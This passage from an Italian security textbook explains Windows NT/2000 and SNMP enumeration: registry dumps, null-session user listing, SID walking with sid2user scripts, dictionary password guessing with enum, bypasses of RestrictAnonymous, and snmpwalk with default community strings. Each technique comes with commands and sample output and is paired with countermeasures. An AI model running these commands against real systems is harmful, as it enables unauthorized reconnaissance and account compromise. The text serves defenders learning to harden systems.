Un altro valido metodo di enumerazione di informazioni sulle applicazioni della famiglia NT risiede nel dump del contenuto del Registro di sistema della macchina Windows bersagliata. La maggior parte delle applicazioni installate correttamente su un determinato sistema NT lasciano tracce nel Registro; si tratta solo di sapere dove cercare. Inoltre, gli intrusi che riescono ad accedere al Registro possono centellinare le numerose informazioni correlate agli utenti e alla configurazione. Con un po' di pazienza, generalmente è possibile trovare qualche dato che consenta di accedere ai suoi labirinti. Per fortuna, la configurazione di default di Windows consente solo agli amministratori di accedere al Registro (perlomeno nelle versioni Server). Pertanto, le tecniche descritte di seguito generalmente non funzioneranno con sessioni nulle anonime. C'è però un'eccezione, quando la chiave *HKLM\System\CurrentControlSet\Control\SecurePipeServer\Winreg\AllowedPaths* specifica che altre chiavi sono accessibili tramite sessioni nulle. Di default, questo consente l'accesso a *HKLM\Software\Microsoft\WindowsNT \Current Version*.
I tool migliori per verificare se un Registro remoto è bloccato sono `regdmp` di RK e, ancora una volta, DumpSec di Somarsoft. `regdmp` è un'utility piuttosto spartana che si limita a scaricare l'intero Registro (o singole chiavi specificate dalla riga di comando) sulla console. Sebbene l'accesso remoto al Registro sia generalmente limitato agli amministratori, i malintenzionati cercheranno probabilmente di enumerare comunque varie chiavi, nella speranza di un colpo di fortuna. In questo esempio controlliamo quali applicazioni sono avviate con Windows. In casi come questo, spesso gli hacker inseriscono puntatori alle utility backdoor quali NetBus (Capitoli 5 e 14):

```
C:\>regdmp -m \\192.168.202.33 HKEY_LOCAL_MACHINE\SOFTWARE\
     Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    SystemTray = SysTray.Exe
    BrowserWebCheck = loadwc.exe
```

DumpSec genera un output molto più ricco, ma sostanzialmente effettua la stessa operazione, come mostrato nella Figura 3.4. Il report "Dump Services" enumererà ogni servizio Win32 e kernel driver sul sistema remoto, anche se esso non è in esecuzione (anche in questo caso, assumiamo che l'intruso abbia le opportune autorizzazioni di accesso). Questo può suggerire agli aggressori numerosi potenziali bersagli tra cui scegliere nella fase di pianificazione di un attacco. Rammentate che per questa attività occorre una sessione nulla.

Enumerazione di domini di fiducia

Vi ricordate del tool `nltest`, di cui abbiamo parlato in precedenza a proposito dell'enumerazione del servizio nomi NetBIOS? Una volta che una sessione nulla viene impostata su una delle macchine facenti parte del dominio enumerato, è possibile utilizzare la sintassi `nltest /server:<server_name>` e `/trusted_ domains` per raccogliere ulteriori informazioni su altri domini Windows correlati al primo. È incredibile quanto questi semplici tool possano aumentare di potenza quando è disponibile una sessione nulla.

Enumerazione di utenti

A questo punto, può dispiacere rinunciare alle informazioni sulle condivisioni, ma non è la fine del mondo; perlomeno, gli aggressori non sono riusciti a carpire le in-

Somarsoft DumpAcl - \\192.168.202.33

File Edit Search Report View Help

FriendlyName	Name	Status	Type	Account
Inport	Inport	Stopped	Kernel	
Jazzg300	Jazzg300	Stopped	Kernel	
Jazzg364	Jazzg364	Stopped	Kernel	
Jzvxl484	Jzvxl484	Stopped	Kernel	
Keyboard Class Driver	Kbdclass	Running	Kernel	
KSecDD	KSecDD	Running	Kernel	
Messenger	Messenger	Running	Win32	LocalSystem
mga	mga	Stopped	Kernel	
mga_mil	mga_mil	Stopped	Kernel	
Microsoft NDIS System Driver	NDIS	Running	Kernel	
mitsumi	mitsumi	Stopped	Kernel	
mkecr5xx	mkecr5xx	Stopped	Kernel	
Modem	Modem	Stopped	Kernel	
Mouse Class Driver	Mouclass	Running	Kernel	
Msfs	Msfs	Running	Kernel	
Mup	Mup	Running	Kernel	
Ncr53c9x	Ncr53c9x	Stopped	Kernel	
ncr77c22	ncr77c22	Stopped	Kernel	
Ncrc700	Ncrc700	Stopped	Kernel	
Ncrc710	Ncrc710	Stopped	Kernel	
Net Logon	Netlogon	Stopped	Win32	LocalSystem
NetBIOS Interface	NetBIOS	Running	Kernel	
NetDetect	NetDetect	Stopped	Kernel	
Network DDE	NetDDE	Stopped	Win32	LocalSystem
Network DDE DSDM	NetDDEdsdm	Stopped	Win32	LocalSystem
Npfs	Npfs	Running	Kernel	
NT LM Security Support Provider	NtLmSsp	Stopped	Win32	LocalSystem
Ntfs	Ntfs	Stopped	Kernel	
Null	Null	Running	Kernel	

00060

Figura 3.4
DumpSec enumera tutti i servizi e le unità disco in esecuzione su un sistema remoto.

formazioni sugli account utente, giusto? No, sbagliato. Purtroppo, nelle sessioni nulle le macchine Windows mettono a disposizione informazioni sugli utenti con la stessa facilità con cui rivelano le condivisioni.

Ancora una volta, DumpSec si rivela uno dei tool più potenti per carpire informazioni sugli utenti in una sessione nulla. Questa utility è in grado di estrarre una lista di utenti, gruppi, politiche e diritti degli utenti del sistema NT. Nell'esempio seguente, utilizzeremo DumpSec dalla riga di comando per generare un file contenente informazioni sugli utenti estratte dal computer remoto (ricordate che per poter funzionare DumpSec richiede una sessione nulla con il computer bersaglio):

```
C:\>dumpsec /computer=\\192.168.202.33 /rpt=usersonly
    /saveas=tsv /outfile=c:\temp\users.txt
C:\>cat c:\temp\users.txt
4/3/99 8:15 PM - Somarsoft DumpSec - \\192.168.202.33
UserName      FullName           Comment
barzini       Enrico Barzini     Rival mob chieftain
godfather     Vito Corleone      Capo
godzilla      Administrator      Built-in account for administering the
domain
Guest                            Built-in account for guest access
lucca         Lucca Brazzi       Hit man
mike          Michael Corleone   Son of Godfather
```

Utilizzando la GUI di DumpSec, è possibile includere nel rapporto un numero notevolmente superiore di campi di informazioni, ma generalmente il formato appena mostrato consente di individuare la fonte dei problemi. Per esempio, una volta abbiamo osservato un server su cui la password per l'account Administrator era me-

morizzata nel campo Comments! RestrictAnonymous impedirà a DumpSec di recuperare questa informazione.
Sono disponibili altri due tool di enumerazione Windows estremamente potenti: `sid2user` e `user2sid` di Evgenii Rudnyi (`http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt`). Si tratta di tool a riga di comando che cercano di risalire al SID di un sistema della famiglia NT dall'input del nome utente e viceversa. Il SID è l'identificatore di sicurezza, un valore numerico di lunghezza variabile inviato a un sistema della famiglia NT all'atto dell'installazione. Consigliamo di leggere l'eccellente articolo di Mark Russinovich sulla struttura e sulla funzione dei SID, all'indirizzo `http://www.win2000mag.com/Articles/Index.cfm?ArticleID=3143`. Una volta che il SID di un dominio è stato individuato tramite `user2sid`, l'intruso può utilizzare numeri di SID noti per enumerare i corrispondenti nomi utente. Ecco un esempio:

```
C:\>user2sid \\192.168.202.33 "domain users"

S-1-5-21-8915387-1645822062-1819828000-513

Number of subauthorities is 5
Domain is WINDOWSNT
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
```

In questo modo è possibile conoscere il SID per la macchina, la stringa di numeri che iniziano con S-1, separati da trattini. La stringa numerica che segue l'ultimo trattino è chiamata *identificatore relativo* (RID); esso è predefinito per utenti e gruppi incorporati in Windows quali Administrator e Guest. Per esempio, il RID dell'utente Administrator è sempre 500, mentre quello dell'utente Guest è sempre 501. Un aggressore che sia venuto in possesso di queste informazioni può utilizzare `sid2user` e la stringa SID nota a cui sia accodato un RID pari a 500, per trovare il nome dell'account dell'amministratore (anche se esso è stato rinominato). Ecco un esempio:

```
C:\>sid2user \\192.168.2.33 5 21 8915387 1645822062 18198280005 500

Name is godzilla

Domain is WINDOWSNT
Type of SID is SidTypeUser
```

Notate che "S-1" e i trattini sono stati omessi. Altro aspetto interessante: al primo account creato su qualsiasi sistema locale o dominio basato su NT è assegnato un RID pari a 1000 e a ciascun oggetto seguente viene assegnato il numero sequenziale successivo (1001, 1002, 1003 e così via; i RID non vengono riutilizzati sull'attuale installazione). Pertanto, una volta che l'aggressore conosce il SID, è in grado di enumerare ogni utente e gruppo, passato e presente, su un sistema della famiglia NT.

`sid2user` *funziona anche se RestrictAnonymous viene impostato a 1 (lo spiegheremo tra breve), purché sia accessibile la porta 139 o 445. Un fatto allarmante!*

Ecco un semplice esempio di come utilizzare `user2sid` e `sid2user` in uno script per analizzare ciclicamente tutti gli account utente disponibili su un sistema. Prima di eseguire questo script, individuiamo il SID per il sistema bersaglio utilizzando `user2sid` in una sessione nulla, come mostrato in precedenza. Ricordando che nei sistemi della

famiglia NT ai nuovi account viene assegnato un RID che inizia per 1000, possiamo eseguire il ciclo seguente utilizzando il comando di shell `for` della famiglia NT e il tool `sid2user`, per enumerare fino a cinquanta account su una macchina bersaglio:

```
C:\>for /L %i IN (1000,1,1050) DO sid2user \\acmepdc1 5 21 1915163094
 1258472701648912389 %I >> users.txt
C:\>cat users.txt

Name is IUSR_ACMEPDC1
Domain is ACME
Type of SID is SidTypeUser

Name is MTS Trusted Impersonators
Domain is ACME
Type of SID is SidTypeAlias
. . .
```

Questo output piuttosto elementare può essere raffinato incanalandolo in un filtro, per ottenere unicamente una lista di nomi utenti. Ovviamente, l'ambiente di scripting non è limitato alla shell di NT (Perl, VBScript, o altri ambienti). Un ultimo avvertimento prima di proseguire: tenete presente che in questo esempio il dump degli utenti verrà effettuato con successo solo se la porta TCP 139 o 445 rimane aperta sulla macchina bersaglio, malgrado RestrictAnonymous impostato a 1.

Il tool UserDump, illustrato nel paragrafo successivo, puntato sulla TCP 445 consente di automatizzare questa tecnica di enumerazione, il cosiddetto "giro panoramico dei SID".

Tool di enumerazione a sessione nulla onnicomprensivi

Il team Razor di BindView è riuscito a includere quasi tutte le funzionalità di enumerazione SMB in un unico tool. Questo tool è chiamato `enum` e può essere scaricato all'indirizzo `http://razor.bindview.com`. L'elenco seguente di switch per riga di comando disponibili per questo tool offre un'idea di quanto sia esaustivo:

```
C:\>enum
usage:  enum  [switches]  [hostname|ip]
  -U:  get userlist
  -M:  get machine list
  -N:  get namelist dump (different from -U|-M)
  -S:  get sharelist
  -P:  get password policy information
  -G:  get group and member list
  -L:  get LSA policy information
  -D:  dictionary crack, needs -u and -f
  -d:  be detailed, applies to -U and -S
  -c:  don't cancel sessions
  -u:  specify username to use (default "")
  -p:  specify password to use (default "")
  -f:  specify dictfile to use (wants -D)
```

`enum` consente addirittura di automatizzare il settaggio e lo smantellamento di sessioni nulle. Di particolare interesse lo switch di enumerazione della politica delle password, `-P`, che indica all'aggressore se può identificare a distanza le password

degli account utente (utilizzando -D -u e -f) fino a individuarne una debole. L'esempio seguente, modificato per motivi di spazio, mostra enum in azione:

```
C:\>enum -U -d -P -L -c 172.16.41.10
server: 172.16.41.10
setting up session... success.
password policy:
  min length: none
. . .
  lockout threshold: none
opening lsa policy... success.
 names:
  netbios: LABFARCE.COM
  domain: LABFARCE.COM
. . .
trusted domains:
  SYSOPS
PDC: CORP-DC
netlogon done by a PDC server
getting user list (pass 1, index 0)... success, got 11.
  Administrator (Built-in account for administering the computer/domain)
  attributes:
  chris   attributes:
  Guest (Built-in account for guest access to the computer/domain)
  attributes: disabled
 . . .
  keith   attributes:
  Michelle   attributes:
 . .
```

enum effettuerà inoltre l'identificazione remota delle password, un utente alla volta, utilizzando gli argomenti -D -u <username> -f <dictfile>.
nete è meno diffuso di enum, ma è consigliabile procurarselo. Scritto da Sir Dystic di Cult of the Dead Cow, nete estrae diverse informazioni da una connessione a sessione nulla. Rinunciamo per motivi di spazio a utilizzare lo switch /0 per effettuare tutte quante le verifiche; di seguito è elencata la sintassi dei comandi di nete, che consente di farsi un'idea dell'ampiezza delle informazioni che questo tool può recuperare tramite una sessione nulla:

```
C:\>nete
NetE v.96  Questions, comments, etc. to sirdystic@cultdeadcow.com

Usage: NetE [Options] \\MachinenameOrIP
 Options:
 /0 - All NULL session operations
 /A - All operations
 /B - Get PDC name
 /C - Connections
 /D - Date and time
 /E - Exports
 /F - Files
 /G - Groups
 /I - Statistics
 /J - Scheduled jobs
 /K - Disks
```

```
/L - Local groups
/M - Machines
/N - Message names
/Q - Platform specific info
/P - Printer ports and info
/R - Replicated directories
/S - Sessions
/T - Transports
/U - Users
/V - Services
/W - RAS ports
/X - Uses
/Y - Remote registry trees
/Z - Trusted domains
```

Altri tool di enumerazione a sessione nulla

Occorre segnalare anche qualche altro tool di enumerazione per la famiglia NT. Utilizzando una sessione nulla, `getmac` visualizza gli indirizzi MAC e i nomi dei dispositivi delle schede di interfaccia di rete presenti su macchine remote. Esso può fornire informazioni utili sulla rete a un aggressore che ispeziona un sistema con diverse interfacce di rete. `getmac` funziona anche se RestrictAnonymous è impostato a 1.
Sono poi disponibili altri tool di enumerazione degli utenti, quali le utility `usrstat`, `showgrps`, locali e globali di Reskit, che possono fornire ulteriori informazioni sugli utenti.
`winfo` di Arne Vidstrom, scaricabile all'indirizzo `http://www.ntsecurity.nu`, estrae account utente, condivisioni e account fidati di interdomini, server e workstation. Esso consente persino di automatizzare la creazione di una sessione nulla, se lo desiderate, mediante lo switch `-n`.
`nbtdump` di David Litchfield di Cerberus Information Security (`http://www.cerberus-infosec.co.uk/tool.shtml`) consente di creare sessioni nulle, effettuare l'enumerazione di condivisioni e account utente e persino di generare l'output sotto forma di un rapporto HTML con ottima leggibilità.

Contromisure alle sessioni nulle

Le sessioni nulle richiedono l'accesso alla porta TCP 139 (e/o alla 445 su Win 2000); pertanto il metodo più semplice per bloccare l'accesso alle informazioni è filtrare le porte TCP e UDP da 139 e 145 su tutti i dispositivi di accesso alla rete. È anche possibile disattivare del tutto i servizi SMB sui singoli host NT 3/4*x* annullando l'associazione del client WINS (TCP/IP) dall'interfaccia appropriata, ricorrendo alla scheda *Bindings* delle proprietà della rete dal *Pannello di controllo*. In Win 2000, questo può essere facilmente ottenuto annullando l'opzione *File and Print sharing from Microsoft Networks* dalla giusta scheda, entrando nell'applet *Network and Dial-up Connections*, e selezionando la voce di menu *Advanced/ Advanced Settings*.
A partire da Service Pack 3 di NT 4, Microsoft ha messo a disposizione un meccanismo per impedire l'enumerazione di informazioni importanti su sessioni nulle, senza che sia necessario disabilitare SMB dalle interfacce di rete (sebbene raccomandiamo ancora di disabilitarle a meno che i servizi SMB non siano necessari). Questo strumento è chiamato RestrictAnonymous, dal nome di una chiave del Registro di sistema. Per utilizzarlo è sufficiente applicare la procedura seguente.

1. Aprite il Registro di sistema, mediante il comando `regedt32` e portatevi sulla cartella *HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA*.

2. Selezionate *Edit/Add Value* e inserite i dati elencati nella tabella seguente.

Value Name (Nome del valore):	**RestrictAnonymous**
Data Type (Tipo di dati):	**REG_DWORD**
Value (Valore):	**1** (o **2** in Win2000)

3. Chiudete l'Editor del Registro di sistema e riavviate il computer per rendere effettiva la modifica.

In Windows 2000 la correzione è leggermente più semplice da implementare, grazie a Security Policies, che fornisce un'interfaccia grafica per le impostazioni di sicurezza più ostiche del Registro di sistema, come per esempio RestrictAnonymous, che dovevano essere configurate manualmente in NT4. Ancora meglio, queste impostazioni sono applicabili a livello di OU (*Organizational Unit*), sito o dominio, in modo che possano essere ereditate da tutti gli oggetti-figlio in Active Directory se applicate da un controllore di dominio Win 2000. Questo procedimento richiede l'estensione Group Policy. Per ulteriori informazioni su Group Policy, fare riferimento al Capitolo 5.
È interessante notare come l'impostazione di questo valore a 1 in realtà non blocchi le connessioni anonime; piuttosto, si limita a ridurre le informazioni disponibili sulle connessioni nulle, soprattutto l'enumerazione degli account utente e delle condivisioni.

Alcuni strumenti e tecniche di enumerazione estrarranno sempre dati riservati dai sistemi remoti anche se RestrictAnonymous è impostato a 1, quindi non fidatevi troppo.

Impostare RestrictAnonymous a 2 impedisce che il gruppo *Everyone* venga incluso nei token di accesso anonimo. Questa impostazione blocca in modo efficace la creazione di sessioni nulle:

```
C:\>net use \\mgmgrand\ipc$ "" /u:""
System error 5 has occurred.

Access is denied.
```

Questa impostazione può causare problemi di connettività a client a livello basso e prodotti di terze parti e/o piattaforme Windows non recenti. L'utility `dsclient`, *inclusa in Windows 2000, consente di aggiornare i client Windows 95 per mitigare questo problema. Per ulteriori dettagli, consultate l'articolo Q246261 del Knowledge Database di Microsoft.*

Superare RestrictAnonymous = 1

Non sentitevi troppo sicuri con RestrictAnonymous: la comunità degli hacker ha scoperto che interrogando la chiamata API NetserGetInfo al Livello 3, RestrictAnonymous = 1 può essere superato. Lo strumento `userinfo`, disponibile all'indirizzo `http://www.HammerofGod.com/download.htm`, enumererà le informazioni utente su una sessione nulla anche se RestrictAnonymous è impostato a 1. (Ovviamente, se RestrictAnonymous è impostato a 2 su un sistema Windows 2000, le sessioni nulle non sono neanche possibili.) Ecco come `userinfo` enumera l'account Administrator, su un sistema remoto con RestrictAnonymous impostato a 1:

```
C:\>userinfo \\victom.com Administrator

    UserInfo v1.5 - thor@HammerofGod.com

    Querying Controller \\mgmgrand

    USER INFO
```

```
Username:       Administrator
Full Name:
Comment:        Built-in account for administering the computer/domain
User Comment:
User ID:        500
Primary Grp:    513
Privs:          Admin Privs
OperatorPrivs:  No explicit OP Privs

SYSTEM FLAGS (Flag dword is 66049)
User's pwd never expires.

MISC INFO
Password age:   Mon Apr 09 01:41:34 2001
LastLogon:      Mon Apr 23 09:27:42 2001
LastLogoff:     Thu Jan 01 00:00:00 1970
Acct Expires:   Never
Max Storage:    Unlimited
Workstations:
UnitsperWeek:   168
Bad pw Count:   0
Num logons:     5
Country code:   0
Code page:      0
Profile:
ScriptPath:
Homedir drive:
Home Dir:
PasswordExp:    0

Logon hours at controller, GMT:
Hours-          12345678901N12345678901M
Sunday          111111111111111111111111
Monday          111111111111111111111111
Tuesday         111111111111111111111111
Wednesday       111111111111111111111111
Thursday        111111111111111111111111
Friday          111111111111111111111111
Saturday        111111111111111111111111

Get hammered at HammerofGod.com!
```

Uno strumento correlato fornito da HammerofGod.com è `userdump`, che enumera il SID del sistema remoto e quindi scorre i valori RID previsti per raccogliere tutti i nomi degli account utente. `userdump` prende il nome di un utente o gruppo noto, ed esegue un numero di ricerche specificato dall'utente nei SID da 1001 in su. `userdump` otterrà sempre per prima cosa il RID 500 (Administrator), quindi ripartirà dal RID 1001 aggiungendo il numero massimo di interrogazioni specificate. (Impostando "MaxQueries" uguale a 0 o vuoto si enumereranno solo i SID 500 e 1001.) Un esempio di utilizzo di `userdump` è il seguente:

```
C:\>userdump \\mgmgrand guest 10

    UserDump v1.11 - thor@HammerofGod.com

    Querying Controller \\mgmgrand
```

```
    USER INFO
    Username:       Administrator
    Full Name:
    Comment:        Built-in account for administering the computer/domain
    User Comment:
    User ID:        500
    Primary Grp:    513
    Privs:          Admin Privs
    OperatorPrivs:  No explicit OP Privs
[snip]
LookupAccountSid failed: 1007 does not exist...
LookupAccountSid failed: 1008 does not exist...
LookupAccountSid failed: 1009 does not exist...

Get hammered at HammerofGod.com!
```

Un altro strumento, GetAcct di Urity, disponibile all'indirizzo `http://www.securityfriday.com/`, utilizza la stessa tecnica. GetAcct dispone di un'interfaccia grafica e può esportare i risultati su un file separato da virgole, per consentire un'analisi successiva. Inoltre, non richiede la presenza di un account Administrator o Guest sul server target. Di seguito viene mostrata l'interfaccia di GetAcct, mentre raccoglie informazioni sugli account utente da un sistema con RestrictAnonymous impostato a 1.

GetAcct
File View Help
Remote Computer: MGMGRAND   End of RID: 1050   Get Account   Doma: MGMG

User	Name	Full name	Comment	Usr comment	Password	Priv	Prima
500	Administrat		Built-in ac		28days 4	Admin	513
501	Guest		Built-in ac		0days 0h	Guest	513
1000	TsInternetU	TsInternetU	This user a		0days 0h	Guest	513
1001	IUSR_MGMGRA	Internet Gu	Built-in ac	Built-in ac	28days 8	Guest	513
1002	IWAM_MGMGRA	Launch IIS	Built-in ac	Built-in ac	28days 8	Guest	513
1006	sfuuser	sfuuser	User accoun		16days 1	User	513

Modifiche apportate a RestrictAnonymous in Windows XP/.NET Server

Come abbiamo spiegato, in Windows 2000 l'impostazione RestrictAnonymous = 2 impedisce agli utenti null di collegarsi alla condivisione IPC$. Tuttavia, questo ha un effetto deleterio, in quanto impedisce l'accesso ai client a livello basso e l'enumerazione dei domini di fiducia (i client Windows 95 possono essere aggiornati mediante l'utility `dsclient` in modo da mitigare questo problema; per maggiori dettagli, leggete l'articolo Q246261 del Knowledge Database di Microsoft). L'interfaccia per il controllo dell'accesso anonimo è stata però ridisegnata in Windows XP/.NET per ottenere un numero superiore di opzioni controllate da RestrictAnonymous.

La modifica più facilmente visibile quando si osserva il nodo Security Options della Security Policy è la mancanza dell'opzione "No Access Without Explicit Anonymous Permissions" (equivalente all'impostazione di RestrictAnonymous = 2 in Windows 2000). Con XP/.NET Server, tutte le impostazioni facenti capo a Security Options sono state organizzate in categorie. Le impostazioni relative alle restrizioni per l'accesso anonimo rientrano nella categoria dotata del prefisso "Network Access:". La Tabella 3.2 mostra le nuove impostazioni di XP/.NET e le configurazioni consigliate.

Esaminando la Tabella 3.2, risulta evidente che il principale vantaggio di Windows XP/.NET risiede nel controllo più dettagliato delle risorse accessibili tramite sessioni nulle. Fornire un numero maggiore di opzioni va benissimo, ma continuiamo ad apprezzare l'elegante semplicità di RestrictAnonymous = 2 di Windows 2000, poiché le sessioni nulle erano semplicemente impossibili. Ovviamente, la compatibilità ne risentiva: dopotutto siamo al servizio della sicurezza, no? Microsoft dovrebbe riportare in vita l'opzione più spartana, a beneficio di coloro che preferiscono l'essenzialità. A ogni modo, non siamo riusciti a penetrare nelle impostazioni illustrate nella Tabella 3.2 utilizzando tool recenti.

Non dimenticate di verificare che la politica di sicurezza sia applicata, facendo clic con il tasto destro del mouse sul nodo Security Settings *in MMC e selezionando* Reload, *oppure aggiornando la politica di gruppo su un dominio.*

Accertatevi che il Registro sia bloccato

Le impostazioni per l'accesso anonimo non si applicano all'accesso remoto al Registro (sebbene, come avete visto, vi sia un'impostazione separata per esso nella politica di sicurezza di Windows XP/.NET Server). Accertatevi che il Registro sia bloccato e che non risulti accessibile a un utente remoto. La chiave opportuna per verificare la possibilità di accesso remoto al Registro è *HKLM\Sistemi\CurrentControlSet\Control\SecurePipeServer\Winreg*, con le sue sottochiavi associate. Se questa chiave è presente, l'accesso remoto al Registro è consentito unicamente agli amministratori. Essa è presente di default nei prodotti Windows NT Server, ma non in quelli Workstation. La sottochiave opzionale AllowedPaths definisce percorsi specifici per entrare nel Registro a cui è consentito l'accesso, indipendentemente dalla protezione sulla chiave Winreg del Registro. Anch'essa deve essere controllata. Una lettura consigliata è l'articolo Q153183 di Microsoft Knowledge Base, consultabile all'indirizzo `http://search.support.microsoft.com`. Servitevi inoltre di eccellenti tool quale DumpSec per effettuare voi stessi alcune verifiche, e assicuratevi che non trapelino informazioni.

Tabella 3.2 Impostazioni dell'accesso anonimo su Windows XP/.NET e Windows 2000

Impostazione di XP/.NET	Configurazione consigliata
Accesso alla rete: consentire la conversione anonima SID/nome.	Disattivata. Blocca `user2sid` e tool simili.
Accesso alla rete: non consentire l'enumerazione anonima degli account SAM.	Attivata. Blocca i tool che eludono l'impostazione RestrictAnonymous = 1.
Accesso alla rete: non consentire l'enumerazione anonima di account SAM e condivisioni.	Attivata. Blocca i tool che eludono l'impostazione RestrictAnonymous = 1.
Accesso alla rete: lasciare che le autorizzazioni per everyone siano applicate agli utenti anonimi.	Disattivata. Sebbene sia simile a RestrictAnonymous = 2, in realtà le sessioni nulle sono ancora possibili.
Accesso alla rete: named pipe alle quali è possibile accedere in forma anonima.	Dipende dal ruolo del sistema. Considerate la possibilità di rimuovere SQL/QUERY ed EPMAPPER per bloccare rispettivamente l'enumerazione SQL e MSRPC.
Accesso alla rete: percorsi per il Registro accessibili da remoto.	Dipende dal ruolo remoto. Per stare sul sicuro, non impostatelo.
Accesso alla rete: condivisioni cui è possibile accedere in forma anonima.	Dipende dal ruolo del sistema. Per essere sicuri, non impostatelo; l'impostazione di default è COMCFG, DFS$.

Enumerazione mediante SNMP, porta UDP 161

Diffusione:	*7*
Semplicità:	*9*
Impatto:	*3*
Fattore di rischio:	*6*

Concepito come servizio di gestione e monitoraggio della rete, l'SNMP (*Simple Network Management Protocol*) è stato progettato per fornire informazioni molto "private" sui dispositivi, sul software e sui sistemi della rete; pertanto esso è spesso oggetto delle attenzioni degli aggressori. Inoltre, l'assenza di protezioni valide gli è valso il soprannome "Sicurezza? Non è cosa che mi riguardi".
I dati dell'SNMP sono protetti mediante un semplice sistema di autenticazione di nomi utenti/password. Purtroppo, per le implementazioni dell'SNMP esistono diverse password di default ben note. Per esempio, la password comunemente implementata per accedere a un agente SNMP in modalità di sola lettura (la cosiddetta stringa read community) è "public". Gli aggressori tenteranno invariabilmente di identificare questa stringa se individuano l'SNMP nelle scansioni delle porte.
C'è di peggio: molti fornitori hanno implementato proprie estensioni al set di informazioni di base dell'SNMP (chiamate MIB, *Management Information Base*). Queste MIB possono contenere informazioni specifiche del fornitore (per esempio, la MIB di Microsoft contiene i nomi degli account utente di Windows). Pertanto, anche se avete protetto rigidamente l'accesso all'SMB tramite la TCP 139 e/o la 445, i vostri sistemi della famiglia NT possono tuttora disseminare informazioni simili se su di essi viene eseguito il servizio SNMP nella sua configurazione di default (che, lo avrete indovinato, utilizza "public" come stringa read community). Pertanto, l'enumerazione degli utenti di Windows tramite SNMP è estremamente agevole quando si utilizza `snmputil`, il browser SNMP di RK:

```
C:\>snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25
Variable = .iso.org.dod.internet.private.enterprises.lanmanager.
           lanmgr-2.server.svUserTable.svUserEntry.svUserName.5.
           71.117.101.115.116
Value    = OCTET STRING - Guest

Variable = .iso.org.dod.internet.private.enterprises.lanmanager.
           lanmgr-2.server. svUserTable.svUserEntry.svUserName.13.
       65.100.109.105.110.105.115.116.114.97.116.111.114
Value    = OCTET STRING - Administrator

End of MIB subtree.
```

L'ultima variabile nella sintassi precedente, cioè ".1.3.6.1.4.1.77.1.2.25", si riferisce all'identificatore di oggetto (OID) che specifica una particolare sezione del MIB aziendale Microsoft. La MIB è uno spazio dei nomi gerarchico, per cui risalendo l'albero (ossia, utilizzando un numero meno specifico quale .1.3.6.1.4.1.77) sarà possibile scaricare quantità sempre maggiori di informazioni. Ricordare tutti questi numeri è un'impresa, per cui un intruso utilizzerà la stringa di testo equivalente. La tabella a pagina seguente riporta alcuni segmenti della MIB da cui è possibile raccogliere i frutti più succosi.

SNMP MIB (da accodare a .iso.org.dod.internet .private.enterprises.lanmanager.lanmgr2)	Informazioni enumerate
.server.svSvcTable.svSvcEntry.svSvcName	Servizi in esecuzione
.server.svShareTable.svShareEntry.svShareName	Nomi di condivisioni
.server.svShareTable.svShareEntry.svSharePath	Percorsi di condivisioni
.server.svShareTable.svShareEntry.svShareComment	Commenti su condivisione
.server.svUserTable.svUserEntry.svUserName	Nomi utenti
.domain.domPrimaryDomain	Nome di dominio

Potete anche utilizzare il tool UNIX/Linux `snmpget` per interrogare l'SNMP, come mostrato nell'esempio seguente:

```
[root]# snmpget 192.168.1.60 public system.sysName.0
system.sysName.0 = wave
```

Sebbene `snmpget` sia utile, è possibile carpire in molto meno tempo il contenuto dell'intera MIB utilizzando `snmpwalk`, come mostrato di seguito:

```
[root]# snmpwalk 192.168.1.60 public
system.sysDescr.0 = Linux wave 2.4.3-20mdk #1 Sun Apr 15 2001 i686
system.sysObjectID.0 = OID: enterprises.ucdavis.ucdSnmpAgent.linux
system.sysUpTime.0 = Timeticks: (25701) 0:04:17.01
system.sysContact.0 = Root <root@localhost> (configure
/etc/snmp/snmp.conf)system.sysName.0 = wave
system.sysLocation.0 = Unknown (configure
/etc/snmp/snmp.conf)system.sysORLastChange.0 = Timeticks: (0)

[output troncato per motivi di spazio]
```

Come potete vedere, la nostra query sull'SNMP ha fornito numerose informazioni sui sistemi bersaglio, tra cui quelle elencate nella tabella seguente.

Variante UNIX:	Linux
Versione del kernel di Linux:	2.4.3
Distribuzione:	Mandrake (indicato da `mdk` dopo il numero del kernel)
Architettura:	Intel 686

Un aggressore potrebbe utilizzare queste numerose informazioni per compromettere il sistema. C'è di peggio: se è stato attivato il nome della write community di default (per esempio, "private"), egli sarà in grado di modificare alcuni dei parametri appena elencati in modo da provocare un Denial of Service o compromettere la sicurezza del sistema.

Ovviamente, per evitare tutto questo lavoro alla tastiera, potete scaricare l'eccellente browser SNMP con modalità grafica chiamato IP Network Browser (`http://www.solarwinds.net`) e vedere tutte queste informazioni visualizzate con colori squillanti. La Figura 3.5 mostra IP Network Browser mentre ricerca in una rete sistemi che supportino l'SNMP.

Figura 3.5

Il browser di rete IP di SolarWinds, una volta ricevuta la stringa di comunità corretta, visualizza ogni informazione relativa al sistema provvisto di agenti SNMP. L'esempio mostrato è stato ottenuto con la stringa "public".

Alcuni gravi problemi di vulnerabilità sono associati a molte implementazioni popolari dell'SNMP che possono assicurare a un aggressore remoto l'accesso amministrativo. Pertanto, l'enumerazione sarà l'ultima delle vostre preoccupazioni qualora un malintenzionato trovi sulla vostra rete un agente SNMP non adeguatamente protetto con patch!

Contromisure all'enumerazione SNMP

Il modo più semplice per prevenire questo tipo di attività è rimuovere l'agente SNMP o disattivare il servizio SNMP nei *Servizi* del *Pannello di controllo*. Se proprio non potete eliminare SNMP, almeno fate in modo che sia configurato correttamente in modo

da utilizzare identificatori di comunità personalizzati (al posto di quello predefinito "public" o "private"). Ovviamente, se utilizzate SNMP per gestire la vostra rete, dovete assicurarvi che l'accesso alle porte TCP e UDP 161 (SNMP GET/SET) sia bloccato lungo tutti i collegamenti più esterni di accesso alla rete. Infine, limitate l'accesso agli agenti SNMP al solo indirizzo IP della consolle di gestione. Per esempio, l'agente SNMP di Microsoft può essere configurato affinché risponda unicamente a richieste SNMP originate da un set di indirizzi IP definito dall'amministratore.
